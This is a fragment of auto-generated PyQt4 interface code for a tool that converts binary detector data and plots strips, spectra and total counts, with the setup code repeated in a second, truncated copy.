self.label_4.setObjectName(_fromUtf8('label_4'))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().\n hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8('comboBox'))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().\n hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8('plotButton'))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,\n 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_3'))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8('label_5'))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().\n hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().\n hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,\n 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_7'))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8('label_8'))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().\n hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8('checkBox'))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().\n hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().\n hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget'))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8('label_9'))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().\n hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8('pushButton'))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().\n hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8('statusbar'))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8('toolBar'))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8('menuBar'))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8('actionOpen'))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8('actionQuit'))\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))\n self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))\n self.groupBox.setTitle(_translate('MainWindow',\n ' BINARY DATA CONVERSION', None))\n self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))\n self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_7.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))\n self.browserButton.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_3.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out', None))\n self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',\n None))\n self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_5.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.runButton.setText(_translate('MainWindow', 'Run', None))\n self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))\n self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))\n self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))\n self.loadButton.setText(_translate('MainWindow', 'Load', None))\n self.filePathEdit_4.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))\n self.plotButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))\n self.label.setText(_translate('MainWindow', 'to', None))\n self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_8.setText(_translate('MainWindow',\n ' PLOT SPECTRA AS 2-D IMAGE', None))\n self.checkBox.setText(_translate('MainWindow', 'Log', None))\n self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',\n None))\n self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))\n self.label_9.setText(_translate('MainWindow',\n ' PLOT TOTAL COUNTS vs STRIP', None))\n self.pushButton.setText(_translate('MainWindow', 'Update', None))\n self.plotStripsButton.setText(_translate('MainWindow',\n 'Plot Strips', None))\n self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))\n self.actionOpen.setText(_translate('MainWindow', 'Open', None))\n self.actionQuit.setText(_translate('MainWindow', 'Quit', None))\n", "step-3": "<mask token>\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_MainWindow(object):\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8('MainWindow'))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().\n hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().\n hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8('centralwidget'))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().\n hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.\n AlignLeft | QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().\n hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(''))\n self.groupBox.setObjectName(_fromUtf8('groupBox'))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,\n 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_6'))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8('label_7'))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().\n hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)\n )\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_9'))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')\n )\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8('label_11'))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().\n hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8('browserButton'))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,\n 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_10'))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')\n )\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8('label_12'))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10\n )\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().\n hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().\n hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8('runButton'))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().\n hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)\n )\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_4'))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().\n hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().\n hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8('loadButton'))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)\n )\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_2'))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().\n hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8('label_4'))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().\n hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8('comboBox'))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().\n hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8('plotButton'))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,\n 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_3'))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8('label_5'))\n 